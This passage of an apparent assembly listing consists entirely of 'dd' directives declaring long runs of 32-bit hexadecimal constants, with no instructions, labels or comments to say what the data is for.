0F50EFB36h, 80BC4D29h, 0E7EC3DFEh dd 1AF3F82h, 7F8DA600h, 0E9C9C3CBh, 428F5602h, 71CCFA78h dd 0A2FE00D0h, 30F501A9h, 0A0CA282Dh, 0F1F891C8h, 4CE84C6Bh dd 3DD21004h, 0C8ACFFh, 2E45FB46h, 1C0B9D28h, 0C9BF0FD4h dd 60604D13h, 0D30439C9h, 776E7B50h, 79D65AC1h, 0E18EE4h dd 617ADCC7h, 6006FFE3h, 8B480B04h, 4CC01101h, 2123668Eh dd 390231CBh, 63B7705Fh, 0B213F9F0h, 440B6027h, 8CE4D7C5h dd 19726F01h, 90E3F1C4h, 3E019E30h, 0D2048965h, 0E022DAECh dd 95C99C8h, 0A8C0DFFCh, 0C67DAA6Ah, 9BBE3D5Ah, 1EE1A600h dd 0E937A25Ch, 76F6F801h, 79E1254h, 7B326860h, 0C9FC3E10h dd 8078089Eh, 4C0E535Ah, 862CC15Dh, 1C0030F0h, 70DAA78Bh dd 33739Ch, 604D1773h, 0DDD2DC9Ah, 13DEE800h, 0E1B494F6h dd 8E541E8Ch, 59A00A3h, 0A8D7AFF5h, 0D6C60600h, 53279B17h dd 9E780390h, 7D7CEFA5h, 0DA150580h, 49E78000h, 0B7519F31h dd 0B3E0506Dh, 0E10D07A1h, 8FB3B8EEh, 3B160820h, 0D3260E22h dd 511670D8h, 49EA7C00h, 71C2E7EBh, 0C0740FC3h, 0B640DCECh dd 5F7DADDEh, 0A0A53801h, 19137735h, 0F76AE8h, 41DA7052h dd 0E116B511h, 7F95E301h, 0CE6C43A5h, 0BA7C30h, 0A2DDFD8Fh dd 8C085C5Dh, 0DFFBE700h, 848775E2h, 0D9F33847h, 7078ED00h dd 0A5581E60h, 0E7B5F600h, 0EEC6C3Eh, 244EB807h, 960308Fh dd 7C8A09AEh, 40CF1791h, 0D1FCDBCCh, 6014388Dh, 0EAF96C3h dd 223C0450h, 4032E108h, 4E1EA4h, 39AB4251h, 64860CE4h dd 629B5200h, 19F2C0ECh, 0AACB00E9h, 91E1599Ch, 101D6EEh dd 0B25E698Bh, 82C86339h, 0D958034Eh, 79EC84D8h, 8C1D68F8h dd 0B303A0E6h, 0E49F4DC5h, 39CAF83Ch, 249848DFh, 7B2A4301h dd 70FB7509h, 68583D9Fh, 0B8708094h, 763BC799h, 0FCDF5093h dd 905C7D63h, 0E30B0052h, 18B506FEh, 0C1009EFDh, 43B32248h dd 742B55h, 22EAC58h, 0CD6ABCEFh, 5424A64Ah, 78F2C0BEh dd 130F8884h, 205F95BEh, 98F038BCh, 8A0900C3h, 0CDACB48Dh dd 2C00CECCh, 536251C7h, 23D17Bh, 0B87FD0DFh, 55117626h dd 0F5B38618h, 4A4A0CC0h, 9E84DCE1h, 81FC8900h, 2F08918Ah dd 3BFEE4C3h, 0BF81ABCEh, 0EE154460h, 0D04131CBh, 4009E782h dd 573A6Ah, 0C4258AA8h, 84DE3E83h, 753DAC49h, 0CBA29Ch dd 0EF78586Dh, 1D03711Ch, 0D9E75D9Eh, 2C73D875h, 6C9C00D6h dd 964882CDh, 189A59C9h, 527EBE12h, 388FC09h, 0C843B232h dd 0EAFE40h, 0EFAA5B8Dh, 46E4075Ch, 0C39A2300h, 0B22DF635h dd 1F0E007Ch, 7AFB1458h, 0E3001B71h, 2EE85477h, 0DC0378h dd 2D57132Ch, 0FD884C5Ah, 74710601h, 0F624FBDFh, 0D9FFCh dd 634EB199h, 80BA45BDh, 8E415A3Dh, 1F9C715h, 0CC2EFA21h dd 3469420h, 0CF892AC9h, 0A3E0ECEBh, 8500CB06h, 0D72F247Bh dd 1D9826h, 9939D811h, 5A842A3Fh, 0F9803300h, 12A90178h dd 755039Fh, 8A6B79A5h, 0B5FEED8h, 12100848h, 64E25B36h dd 29CA99A0h, 0D6B09B01h, 6F6532CFh, 0E72EF0h, 125A6620h dd 83AC8737h, 0B8BFFD30h, 4D593C9h, 9843B688h, 6F4EC0E2h dd 0F73BCCE6h, 0C2AD802Bh, 285DACD5h, 0CDA80785h, 0B9DFB246h dd 0AF7C98A0h, 271E2D66h, 80BDA642h, 0F1854A6Ah, 3082BF5h dd 24AD29A0h, 0E0C034A4h, 0F600EF98h, 35052E74h, 799066E5h dd 1A5FE33h, 0CB1F715Ah, 702D7DCDh, 9F0A6D20h, 0C4FCE3AAh dd 1802666h, 6BFA488h, 0E879421Ch, 0E600E1EDh, 0B8EBD256h dd 0E89045B1h, 349A0E6Dh, 0FAE0BF58h, 0FC6949E2h, 0DCD09F00h dd 0F9C1611Bh, 3BE61E65h, 1002ED7h, 79F16BB2h, 0B9040E8h dd 5200C709h, 0F217E3A6h, 4559E3Eh, 588568B9h, 2584ACABh dd 8D1C484Fh, 70393D87h, 8F1E4000h, 8A82C0B2h, 940B5807h dd 5B00F080h, 0E0C388h, 25B996D8h, 53FA3485h, 560EB600h dd 0ADFE7F8Ah, 0E644C029h, 0FAC2D76Bh, 76303C00h, 2C069C8Eh dd 10778F4h, 0D9B3804Ah, 6CC434A1h, 144BB01Ch, 82C10070h dd 5ABC01D5h, 4095AA04h, 3A3B18B6h, 0EF8BEAEBh, 99011321h dd 414072B9h, 3050C5C4h, 1F1D26D2h, 0A380CCBCh, 4D321C57h dd 4DA2417h, 2FD00CEh, 6480EFB7h, 3D073B00h, 182B87B0h dd 0E3E00E4h, 302DC75Ch, 8D00FC25h, 40F24124h, 78ADC8Bh dd 0D5A5A229h, 1FE50081h, 0F77C5BBAh, 0FF2C600h, 764D2C96h dd 56E683h, 2A021A77h, 728757DBh, 3306400h, 41E886C6h dd 5ABE038Dh, 730D77A2h, 651BF3C8h, 3AC3D503h, 0A0305162h dd 0FCA870h, 684CDC41h, 31DE508Ah, 0D64D2D00h, 173C4802h dd 0F5EA1772h, 0BB05FA1Bh, 8CD033A0h, 0E0405Bh, 0B1DCD1E7h dd 8E2F6343h, 6558B400h, 0AF26C3B3h, 22794C37h, 7C02BB00h dd 2B275761h, 0BB08C63Fh, 37E8A4A2h, 0C4B25400h, 0FDA8CB9Eh dd 38F069C0h, 8F014A1Ch, 0B25B11B1h, 438180F6h, 71E43CA2h dd 0F1F300F7h, 735E681Dh, 70F8941Bh, 106CA400h, 0C9547F0Ah dd 187E76h, 0A8B5AF8Eh, 8C954F30h, 33BE251Ch, 13B89C0h dd 3EA1C5Bh, 65B9B280h, 5CB01ACBh, 60B07BC1h, 75617304h dd 0F4C0D1D2h, 1F0D898Dh, 1F8B9B6h, 0FE48C8E0h, 0A07ED0A8h dd 0D2EE6E00h, 0ABFB5C43h, 28270B42h, 0A46AD711h, 741A080h dd 1F1D0AADh, 4F40EC14h, 0D2B877FBh, 0E2220126h, 616A8F8Eh dd 0FEC8C0F6h, 11479B1Fh, 77501340h, 0F9BA88h, 1A1BA4ECh dd 0CC193ACh, 6A363200h, 1D15A869h, 284B00CDh, 0C48B8035h dd 92007D66h, 78224167h, 0FE3BF123h, 20E2003Ah, 0CEA8E6EBh dd 0DE4F681Bh, 121248C5h, 0E41218F6h, 0D888B49Eh, 0AC6C4B3Ah dd 0AC012031h, 1389BCCEh, 3DAC0DCh, 4416B7FCh, 1990EADDh dd 5F7F5866h, 4B6F5400h, 0A4266CD0h, 53A00315h, 0ED02999Fh dd 8ECFE0CFh, 5EB84744h, 48F6B03Ch, 1015324Bh, 4DBA01E0h dd 85000714h, 6024C8h, 0BC815A43h, 0CD41D6F6h, 31C32600h dd 2E48E11h, 1100173h, 644274A0h, 9D388187h, 4594535Ah dd 0C005C7Ch, 6F18F1E8h, 5400FCB9h, 96FDD1C3h, 1823AA9h dd 0D64224ABh, 7413E975h, 0F900BDFCh, 2CB74071h, 38D3CCh dd 5BB1F0D8h, 4680724Bh, 60043Bh, 0CD1C4D25h, 3F7DFE98h dd 3300695Ah, 932DD66h, 3A0E3F73h, 608D2FDEh, 80585C04h dd 1D2814B6h, 6538841Ch, 6FCF2900h, 0F2AEF594h, 4C03E100h dd 34A0C541h, 0FA8F077Bh, 61123FBAh, 0C7EF58F6h, 0F4C045C1h dd 0B84FB3D4h, 2BF0C087h, 1D1AE9h, 60430F4Ch, 4B5257Eh dd 0D1CBEC00h, 3EC34A3Ah, 3C6E80Ah, 0C73F694Bh, 0F001A606h dd 8B58E433h, 5030279Dh dd 0A0EA77D3h, 3894BDB4h, 0A80DB92h, 88D2142Ah, 2C006C37h dd 8B73E75Fh, 3AA3E120h, 6800CFB5h, 305D81Ah, 0E87E3F6Dh dd 0EF005590h, 0C3F2CE55h, 5290DA3h, 0E901BAC2h, 0BFBC4056h dd 0F2EA1965h, 730B72E4h, 5017B34Ch, 0D3CA00A8h, 7C6D9947h dd 680F59ADh, 0E0DBEBFh, 0AFD2C022h, 68109C9h, 0B4AAEA1Ah dd 8FEA4074h, 4D02EB07h, 0D440DC2Ch, 0E0DD0C2h, 0A3CBD6BDh dd 1063B1C7h, 0C75D712h, 0B943780Fh, 0BD5BE0A1h, 3014C080h dd 22A185CCh, 0AD00127Dh, 0DFA335C7h, 0F76402h, 0D7E13497h dd 1D721C03h, 9DEE7300h, 3F819638h, 0A2750FBAh, 0CFC0A5EDh dd 0EAA01677h, 4C38D4A0h, 970028F8h, 7AE62CE8h, 2E17D3h dd 0EFC1FF6Fh, 4882F5BBh, 19B92426h, 0B536073Eh, 0DE5029C8h dd 0FA0845D5h, 0CB5D1BC7h, 0EBB810DBh, 36007588h, 3824E816h dd 20D4B8h, 0B644E950h, 63AAC5FFh, 5AA9DB00h, 0BC807D5Eh dd 18D4007Eh, 1F520E04h, 693A67D5h, 816B9858h, 0E72508h dd 874ED7CBh, 3CBB70CCh, 900258DDh, 60A5BEABh, 0A40732h dd 0F3959465h, 0A604D8C6h, 3DD26900h, 39A01EB7h, 7967706Dh dd 0DE650186h, 9DB820D3h, 2950868Dh, 77B025E8h, 77B70F87h dd 4BA069B0h, 7460D855h, 49FFA700h, 0F8360B72h, 8A7FB6h dd 0ED93E8F3h, 586C6EBFh, 4B92F100h, 0AE658663h, 69BA003Dh dd 91D279D8h, 6C1847CCh, 137087EDh, 0CA7E008Ch, 4E4C31ABh dd 8360A0E3h, 0E4358AD8h, 0F2190063h, 0BB89BAEDh, 0CE0F2861h dd 381DA20h, 0FB7D7Eh, 5A906BC2h, 778FC974h, 381339h, 0E04F92DFh dd 47BACD0h, 0FDCBDEBDh, 6C61C251h, 67FFB080h, 0D4A08E63h dd 13009511h, 0B983CE4Fh, 0EF776AA3h, 7030FFF1h, 0C09B0094h dd 0E58DFB67h, 0D0903213h, 6D000E90h, 0DAE84375h, 7D79D5h dd 0A23930D7h, 4FBA5AE7h, 2CB86805h, 0B043F79Ah, 0ADA9C8B7h dd 0EBDF8801h, 0D3F088E8h, 0FE2C0310h, 326CEDBDh, 55F8F14Ah dd 361D4300h, 0D34F681Fh, 411288F8h, 4C0EC04Ch, 0F0946D4Dh dd 0CF815888h, 8F664F84h, 0A27B4442h, 2C209508h, 6E12FB10h dd 0F85AE414h, 0AC41187Ch, 88835977h, 829958A0h, 0DF147490h dd 82C61B3h, 11BEB164h, 8A42880Ah, 85848C0h, 0A794C20Ch dd 0E705C584h, 97DF9C05h, 8AEC2C42h, 0EEF6024Dh, 75AAF913h dd 4025FC01h, 59D85858h, 7B6352B0h, 0E7151359h, 0C0E796h dd 162BCC92h, 21089F4Fh, 0E87EC10Eh, 67BEE0F7h, 21D52DEh dd 0C53A09DAh, 94800EEDh, 0D6E7E17Ch, 68757430h, 6CC768Ah dd 0CA18FA8h, 1F02C8C3h, 0D22013F1h, 0AEBD40BAh, 6CD13B8Bh dd 4F462C0Fh, 9084C780h, 0A0C0DE73h, 5CACA311h, 334212BDh dd 0CC500E1Dh, 0EC804FE7h, 8809FD98h, 20B29534h, 379258ECh dd 2A07E5Bh, 4B98E664h, 0D444E0D9h, 0EC0AB12Ch, 81B08201h dd 60DE3F60h, 1FBF2C4Ch, 0C1A488A0h, 29BEC6BBh, 3BD05095h dd 0F42C9099h, 0E7005569h, 0B21416BBh, 0BE30249Ch, 47DC03B0h dd 358057CBh, 383191ECh, 34DF0872h, 62FBA840h, 0FAA372CCh dd 3C652669h, 64A8094Eh, 4C8DE810h, 747ADA00h, 9C1245Ch dd 2D98C4EAh, 0D2948873h, 8F144500h, 0A197D35Dh, 0B423503Fh dd 0EF3500DBh, 5B0AFCDCh, 2709A489h, 20F88CCBh, 0EB88E404h dd 0B83500CDh, 98799510h, 0D202FE12h, 5D4A3FF2h, 0B84480A2h dd 12BED0F4h, 30BA5608h, 0B57E3F20h, 0D4DCEE26h, 64E9904h dd 88805880h, 1C0AC35h, 9D3437C7h, 8E7C619h, 0AA6A886Fh dd 16D18E00h, 0A6BDA4FDh, 0D3E607CCh, 99AE68B5h, 93792C00h dd 3E3F65CDh, 989F00B4h, 7E1367B2h, 7A0B0054h, 0DEBECB7Fh dd 920063F8h, 0E0FA0EC5h, 264C0DF9h, 1B980Bh, 9E5E50EEh dd 4A07FCADh, 0BBD8FD7Ah, 701A8330h, 29FB00D7h, 0E99C353Bh dd 4107538Ch, 0A2361D5h, 0BE3F3DA1h, 0F226BE80h, 6DA03E4Ah dd 0FD1E2700h, 719AD29Fh, 0F2E1E8C4h, 5A190161h, 46732FFBh dd 62A9E43Eh, 832A7C3Eh, 9A905726h, 6FD8B8D0h, 0C8FC18h dd 0ADE9E021h, 0F978C95Ch, 156860E9h, 245ED51Eh, 0AAA3C000h dd 31F2BD55h, 60482EC7h, 45D3E046h, 0A32FC900h, 0DDE1717Ch dd 411A3C16h, 867F8280h, 0B0A95395h, 99046600h, 0E0979DF4h dd 48D11FDCh, 227E0018h, 0BADA37E8h, 0DE64D030h, 0A29E4h dd 61C6271Eh, 0E022FAEEh, 0B44F7000h, 88C5F52Fh, 68CB3F85h dd 0F0BCA88Fh, 445C0140h, 200059C4h, 0DD32396Bh, 869627h dd 7567158Dh, 9A455188h, 0F390A360h, 9D597Bh, 0DC086C49h dd 0D872AC5h, 589F4D75h, 486DBh, 9015970h, 0C098FD4Dh dd 739A3700h, 5FB0B6E4h, 3AB27777h, 0D1973468h, 0AE48002Ah dd 95605A6Fh, 0F10150FAh, 47535FB2h, 73703F74h, 0CC7E8Ch dd 0D6AC281Eh, 0EE4240F7h, 87314E00h, 8CDC4546h, 0EF7957h dd 40B51E6Dh, 8803765Eh, 0AFF539h, 9B2D4CFDh, 3899C7h dd 610FDBEBh, 45BE0B1Bh, 5D0D5100h, 0A9316D3Dh, 0D6F100D2h dd 1EDCDBDEh, 797D26E5h, 0A7014700h, 0C9DD0253h, 5C863A04h dd 417D4280h, 0C49EA43Fh, 0DD5FB52Ch, 380AB00h, 998E51Fh dd 0EF11B0D7h, 2B07DA5Eh, 0A00ED493h, 0AA77AD70h, 8BA8004Dh dd 9FCE3C25h, 860E150Dh, 0A04A264Ch, 0AD46FC32h, 9C4000BAh dd 0B5A3389Eh, 0EC12CFA8h, 0BE0E56C3h, 4345E3BEh, 0AD54E881h dd 0CC0F50B2h, 0A7F7009Bh, 848C3229h, 5F001130h, 50E4C2E9h dd 1F456E34h, 4042583Dh, 7D816CCAh, 70EC5160h, 252C7700h dd 440F968Fh, 46361E95h, 0AFFD878Bh, 373E7121h, 7933ECD3h dd 2FF8751Fh, 4617A300h, 7CDF37Bh, 0EA9A53DCh, 1B4B60B2h dd 0FD283754h, 0C200C3C5h, 0FEFA024Ch, 15CBA5h, 0FC051BC9h dd 65B59DD7h, 0AC6C5000h, 0E3638E26h, 0DDB000E4h, 1B9E6DFAh dd 28006417h, 0B131C268h, 0FC5E548h, 0D437948Fh, 9EF4039Ch dd 299082D3h, 0B8005380h, 0E866405Eh, 5F69DBh, 0B7B0720Fh dd 0DF7C759Ch, 0D094851Dh, 96866600h, 5C2E1Dh, 0E7EBBC7Bh dd 2354070Dh, 3894E300h, 5B0B379Eh, 0C60100AFh, 0A55389D1h dd 4700EBE1h, 37B61869h, 1EA7F4A8h, 0C04E123Bh, 23449F0Bh dd 70067BBh, 0D01895Ah, 325F36h, 29587370h, 0AAFEB348h dd 8828DD03h, 48A0238Dh, 0CB005110h, 6B72C707h, 2A0361CAh dd 3EB8246h, 85A0B82Ch, 5EA324D5h, 7F730052h, 5217989Ch dd 0E084200h, 1193F02Eh, 995F00FBh, 667D1CD2h, 0D503D788h dd 0D34401C6h, 0CC03C062h, 772A0E94h, 41419EC1h, 0C060F124h dd 0F21855DFh, 5790827Fh, 49100363h, 52A8840h, 0DD916097h dd 0D3E52D3h, 0EA65C4Eh, 0A0E5C42Eh, 0D56ABFECh, 0B0DE00C0h dd 622024CAh, 0E6009291h, 8618875Ch, 0FB950B3h, 0DE97B616h dd 0CF2081DDh, 0FC531172h, 0CC005645h, 8163F73Eh, 0EF1CDF8h dd 9D961B18h, 0DC9F3700h, 0F2694C1h, 93003827h, 8B0BF9F5h dd 86D70042h, 6C5E34DEh, 0E8009076h, 5B607B9Eh, 202DD6h dd 6FEC679Ah, 0E5407A77h, 0E3E68500h, 1D84260Fh, 0FCBA0039h dd 128998B6h, 23002706h, 78141AFEh, 1E7291E8h, 80C4FCF3h dd 0BB6BA68Eh, 2300F15Dh, 0DBE11CF5h, 798707ECh, 1F021359h dd 1B8800C2h, 0C043245h, 0F336181Eh, 0F4294600h, 0CE9BDEAh dd 0D0EB908Eh, 673E3588h, 668183F8h, 0E0ED9C99h, 3AF0AFh dd 5322178Ah, 0C544D398h, 0F132CA05h, 80034F61h, 80108CE1h dd 0BEB66Ch, 0C812F563h, 4D96F979h, 815EE601h, 0A7AF3268h dd 3A277BE8h dd 0A50073BAh, 6A4F5BDBh, 0C41F6CE4h, 51803AC2h, 3C5FE1C7h dd 0DC431DDEh, 6B8500DFh, 17242C9Ah, 46DD7B01h, 0C154C3F0h dd 0A345D0h, 0F5EC0777h, 0ED3CF96Dh, 1FEA0100h, 61063AE8h dd 829A00FFh, 43049FE0h, 280E904Dh, 0E1E24FDDh, 6E5DAAF3h dd 0B8BF21CCh, 0CBBB057Eh, 80EB7D2Fh, 0ED4E0F38h, 6A316100h dd 0C65578CAh, 0F9BEE9Ah, 2A7684AAh, 0ABD4F061h, 0E0E1CD30h dd 4F00D3B4h, 16E57CA4h, 7BFE7445h, 0FFE00070h, 7936B644h dd 4D060EBFh, 0AA2D7C9h, 8958A804h, 3267DFBh, 27B451C2h dd 69D04FBEh, 9758F4E4h, 0E82A0761h, 9190D20Ch, 16A21493h dd 92F8D6h, 0FBDF4D73h, 4394628h, 0D85C8050h, 0E4660EB5h dd 0D2433816h, 18289F02h, 0C860D002h, 0F92CCBD3h, 1D004044h dd 8AB8E07Bh, 331E004Fh, 0D1C504BCh, 9100B1DBh, 738E703Dh dd 0F0EF58Bh, 42EB7F53h, 0A1405883h, 250D69D8h, 2DACD900h dd 4880398Ch, 95D7078Eh, 3088FC3Bh, 96597D13h, 0A603B470h dd 0BCDA9F64h, 17AB9008h, 0CCCA0028h, 0BF0CD64Dh, 0A95C441Dh dd 0B2270C57h, 14638A0h, 9E5090FAh, 0C0822208h, 1C3C6458h dd 0C2C79C2Fh, 0B6391A00h, 128AE90Fh, 9FB446h, 8F593280h dd 7B01F019h, 0BEC755ABh, 68CC7823h, 43AF0173h, 0AB3FA47h dd 0A052E41Fh, 0DCB7CB04h, 0F5C05F13h, 2E38BC89h, 3E268C04h dd 4602B580h, 0E46E8A9Dh, 4D4F1B00h, 589A9912h, 164924B9h dd 5FED00A5h, 0FDF734DAh, 0FF272503h, 0F9578B0Ch, 6D60CE82h dd 0E9EA00A3h, 399C2083h, 86144A13h, 0F2AEF0h, 65742880h dd 457596h, 0DF33CD36h, 7C4292D0h, 0E9DD1100h, 2FADE412h dd 36C2039Fh, 0F45F88FAh, 60A41899h, 0D800761Bh, 0F59E6045h dd 0AA8F47h, 0FAFCC269h, 427090E2h, 0D1486C17h, 0F6C59443h dd 0E09FB258h, 7C18CD60h, 0BCB35842h, 50E04F09h, 5E539183h dd 96D3CAE0h, 92F7D730h, 3C462758h, 74805060h, 0D17F5F18h dd 0EC006622h, 37C5DE9Fh, 156D0867h, 8DDE753h, 0C3BE9408h dd 3D7A9F00h, 2F1416h, 0A5AF267Bh, 0D70ABB93h, 0F025CE00h dd 1954C40Eh, 3BAD2601h, 999D0359h, 51E60C67h, 90034E0h dd 11C0CF4Ch, 0B81F8Ch, 575FE471h, 49C84E8Dh, 357A940Ch dd 2403Ah, 976DC416h, 6296731Fh, 0EF6E101h, 5D65BEE9h dd 0CEFB60h, 0EE936F55h, 0B9E5453Dh, 4E687E00h, 9724DA56h dd 742E00D5h, 6414EF90h, 9238F069h, 7577F97Eh, 7787D704h dd 0E68031DCh, 5885D64h, 2C609954h, 70FE8017h, 241C61D9h dd 0FFC02F92h, 2A4939EEh, 0FA1C001Fh, 625A9403h, 650087A7h dd 2820930Ah, 39D6D57Ah, 0F086E001h, 0B8B9866Fh, 6CFACB02h dd 60A4A0F3h, 0C160325h, 0A3C0E2E4h, 5428382Ch, 950CC042h dd 0F0079047h, 9A673D8Eh, 0DEF96800h, 439FD088h, 0AE331600h dd 0BBA8B38h, 8F1A008Ch, 5129F4C5h, 9F1EBFDFh, 3700CAF5h dd 9472FBF3h, 7C01288Ch, 3EC4EAA4h, 23AAF844h, 4E00FDCh dd 0C2401ED7h, 8D0355D0h, 6B258C00h, 0EF1A7340h, 0F0D701F7h dd 71D9D19Ch, 17A1C8C6h, 0E6AF200h, 0CE3CF89h, 737B0695h dd 58205864h, 40A1C518h, 9770D0h, 794F43D7h, 0F18DC36Eh dd 45300E00h, 32827299h, 9FFE66h, 63EB8A7h, 9AF317Eh, 0E32B3Ch dd 42D61859h, 0F41F3DF5h, 8BD40085h, 65970AADh, 5B002595h dd 0B74E8241h, 17E7AA5Fh, 0E2BD2Fh, 0F995B182h, 3E8C437h dd 0DD208760h, 76BCB58Ah, 0AF7007Fh, 580E5E22h, 1B00C904h dd 15D98C5h, 48528126h, 8800107Ah, 2B186EFCh, 980067CCh dd 47A0222Ch, 0EA4D6CEFh, 6DF10028h, 602677D1h, 5E006898h dd 5DC247AAh, 60491199h, 0DB781021h, 0E004C2Ah, 0F7E4F5AFh dd 0F9E30891h, 23992180h, 6EED84F1h, 18FAB300h, 97986B27h dd 0BFF71F81h, 0EB0CC02Ah, 6647F0Eh, 36C17426h, 94668800h dd 54A2F68h, 8580D426h, 1C883092h, 610A3E0h, 0DC6863Fh dd 4016A858h, 1D00B415h, 0F90A5172h, 0CF9A0008h, 0F75C056Dh dd 0F500B5C6h, 1DEB98B2h, 3EC2604Fh, 4D005A48h, 459B093Bh dd 8D01E026h, 0B198DBF8h, 0C9D4E4F7h, 605D03E2h, 63C3029Dh dd 4BDEECF8h, 5FD36B16h, 96776600h, 6F0599h, 0C7AC747Ah dd 0C11F9BE3h, 0D0283D07h, 0EDE09DA4h, 1FE245EEh, 80479AD4h dd 0C780464Ch, 0DB3886D2h, 0F4A82E41h, 762DB300h, 31E1Ch dd 66B261F2h, 33124BEFh, 23EB3400h, 318BCE56h, 0A8B60315h dd 0F71935E4h, 484925E0h, 6CDEE200h, 76066B64h, 8490C4h dd 615DEE8Fh, 0AB6527BBh, 0A5494400h, 0C697573Ah, 0AEB403C9h dd 1EFFFAC5h, 0B01D787Ch, 0F6C0E389h, 0BC9454D5h, 0C89F00C4h dd 51C0D2D9h, 0BD02C9BEh, 814CF3EAh, 9236099h, 0CF3100B2h dd 486F8DD3h, 412EDEADh, 640F827Eh, 22580CCh, 0C69150h dd 373C43B9h, 7A31B854h, 0B69BD00h, 760DD418h, 4D9D01E4h dd 0C4E58F05h, 2C08004h, 0E67B4DAh, 0FF130DF5h, 0D0F023D8h dd 6E00C662h, 1C65147Ah, 7C5554h, 69D677E7h, 0F4FCA175h dd 203DE9FDh, 6D02C1E7h, 471972Dh, 3793605Fh, 0FD1E00BCh dd 8A208288h, 0B400B6ADh, 770F85CFh, 0C0224D4h, 15F2EF2Ah dd 0E3076040h, 5A85051Ah, 5448F390h, 776F8C4h, 572B6817h dd 75016064h, 0EC023FD6h, 0A0A46577h, 0A1594020h, 0E17586h dd 901D5BEEh, 6367F8AEh, 4D17500h, 0DCBB1E5Ch, 6B36031Ah dd 57D420BCh, 0D000B9AEh, 0B247BFB9h, 262ACC0h, 0FD26BE32h dd 6CC02A03h, 0BF019C59h, 2CC45A19h, 4FC45B56h, 0DAA40196h dd 0E2EE6ED6h, 8A65F8E7h, 0F25D5C00h, 0F05A6FB7h, 915E2E64h dd 596830D4h, 523F76DCh, 225580AEh, 1A2E6727h, 8ABF0B15h dd 920324A4h, 0D1A0ECBBh, 25008105h, 2908BD8Ch, 2D2092h dd 0A3C39801h, 0EFCC5897h, 7017DD00h, 23A2B721h, 844E58DBh dd 0A48E650Eh, 2F86250Fh, 187251EBh, 1495550Ch, 7E10F6h dd 0DDED36D3h, 8D13B727h, 4FDEAF07h, 74872090h, 6B262FC0h dd 1875E602h, 7693B8CEh, 6777C907h, 0D61880E1h, 0E4621DDFh dd 0DAA7043Ch, 721315Ch, 2E70B22Bh, 0A011D1h, 32082019h dd 67214A36h, 804CB03Bh, 0F96A8B43h, 18E80754h, 40CDA47Fh dd 3D48BD98h, 802E39CAh, 2F463BEBh, 1E48133Eh, 802BFAA5h dd 628AB5A3h, 690F72D3h, 9D226D35h, 8E1DF000h, 3FECE20Bh dd 2D00EA04h, 3267566Bh, 0E1001A71h, 26590C19h, 18EDD64Fh dd 96CECBDFh, 0C900FBC7h, 3E19228Ch, 0F507195h, 18E9FAB9h dd 6AE84105h, 51500004h, 0AF22EEEAh, 666C001Eh, 0CFF1E66Fh dd 8400CB52h, 4B2BDE60h, 9B8C4h, 0AF41B604h, 0A503E58Ah dd 31CB4C00h, 166EF770h, 0D220040h, 186ABF51h, 1A00103Ch dd 0B7E67C2Eh, 58EB5Ch, 0A72B754Ch, 0D61C06A9h, 0B5A88200h dd 367AF579h, 0E9EE01D5h, 0A26488E2h, 335FC62h, 8752B400h dd 0C8E52E32h, 818007A7h, 1B5F3416h, 0C4B9380h, 2F01DA0Dh dd 0FB557AB5h, 0E06007CEh, 9FE00009h, 0A2FF5ECAh, 0B001AF4h dd 0AA78BF76h, 0EFE07B5h, 8B952E97h, 0FC0C403Dh, 0F931F546h dd 0CA29820Eh, 0A6D820C1h, 79AC5A1Eh, 0AE0C005Fh, 0DC6FF716h dd 0D100D2A2h, 0CD315883h, 3589E4h, 63DF8294h, 0E171C206h dd 1DA1C93Bh, 0BDC0EADEh, 187A78B3h, 1B30000Dh, 0BF363BD4h dd 2B00E750h, 910166EAh, 5428E0h, 0B1F3413Fh, 0EC72F898h dd 8511F401h, 48DFCDB3h, 38BB15E4h, 4080870Bh, 5AD2E3DAh dd 0F571F137h dd 99DD0F00h, 821CFE32h, 0A4F4A044h, 0CCCA0FF3h, 93207BB4h dd 31A7F23Eh, 5B979F00h, 517024BDh, 9EE218h, 0A6A5E723h dd 82EF526Ch, 241A9D18h, 70146538h, 73D600C9h, 3E78C4F4h dd 5800990Dh, 0FE0AE2A7h, 3AC2D7h, 0C7B8CB61h, 765E5FB0h dd 0B575531Eh, 6E00E417h, 95E0F380h, 4BC9002Fh, 0DF841569h dd 6312658Ah, 0A4002811h, 0FD09FE97h, 7C7300FFh, 80C461C2h dd 6EEA9D17h, 2C716000h, 0D05EAF5Bh, 0EDA700A5h, 0DC9E8653h dd 6101DBECh, 0A30FF638h, 10FD0656h, 9A7970h, 8776CA7Ah dd 1D1261B3h, 954B450Eh, 3BF4A02Bh, 39172BCh, 0CCE3A19Fh dd 0DB90E2D6h, 0C81CFC1Bh, 1C0239F1h, 40073726h, 0AEFAC0h dd 0B20CA7C9h, 15CE986Fh, 63BDB800h, 0D7467654h, 0DE860357h dd 4EE81A25h, 0DCAC5389h, 3101C5CFh, 14DB164Bh, 0DC70BD6Bh dd 0D2370043h, 8C81F65Eh, 4E00D5FCh, 66F2E4C2h, 0E48DBB0Ah dd 0C788072Dh, 401D95A5h, 0C91BEF02h, 639E4C00h, 376619DCh dd 233A0340h, 2D11FD44h, 0C6519090h, 2B03287Bh, 0ACF72631h dd 53FF98DAh, 43F254h, 6D4E7189h, 3B0DC5Eh, 70C2EC00h dd 9CFE3063h, 0ED340017h, 0FF782418h, 75EC811Ah, 0B14CBB00h dd 71431C7Ah, 0F13600C2h, 0DB41FD0Dh, 5200F483h, 0D06B512Fh dd 7E1D797h, 0EF500899h, 880E2027h, 2F886C3h, 76FBD11Fh dd 0D9DAE5C0h, 17FA6616h, 511D98h, 490FD5B5h, 2A008F4Fh dd 0DDF7BB8Eh, 2FBA21h, 0D75829D0h, 0FE31E99Ah, 45B18812h dd 5746741Fh, 0A8981EA7h, 8D3D74h, 2A28652Fh, 72EB011Ch dd 9008A101h, 0E1B2871Bh, 0C4DC0F21h, 82AB000Eh, 518D1C48h dd 36E8DE11h, 0B2748100h, 92085AE6h, 4857003Dh, 0FC6AF721h dd 4D00B4FFh, 30C690A2h, 3238DBh, 298CB6E5h, 63C8308h dd 0B08FAE12h, 76CF8E0Ch, 0C67500BAh, 0B2CEDBC2h, 400516Bh dd 5884629Ah, 783A2459h, 15AB0089h, 87887B5Ah, 83485C9Fh dd 0BD1302E4h, 61AEC35Eh, 0B9E0EF51h, 0F2AB05CFh, 0C0E3C9DAh dd 6E1C9FA7h, 9357F118h, 2374B4h, 6701C03Dh, 1D6B9E43h dd 38D5C300h, 3234A15Bh, 9DAA124Fh, 92900007h, 7C0D019Bh dd 0FA9F9800h, 0D3F5437Dh, 18A715BEh, 5000B4AFh, 193009B3h dd 60006679h, 7C016F40h, 5972764h, 0E2543A2Fh, 90C0C008h dd 0B5072158h, 1EE0B16Ch, 0E3F9ADA0h, 830B03C1h, 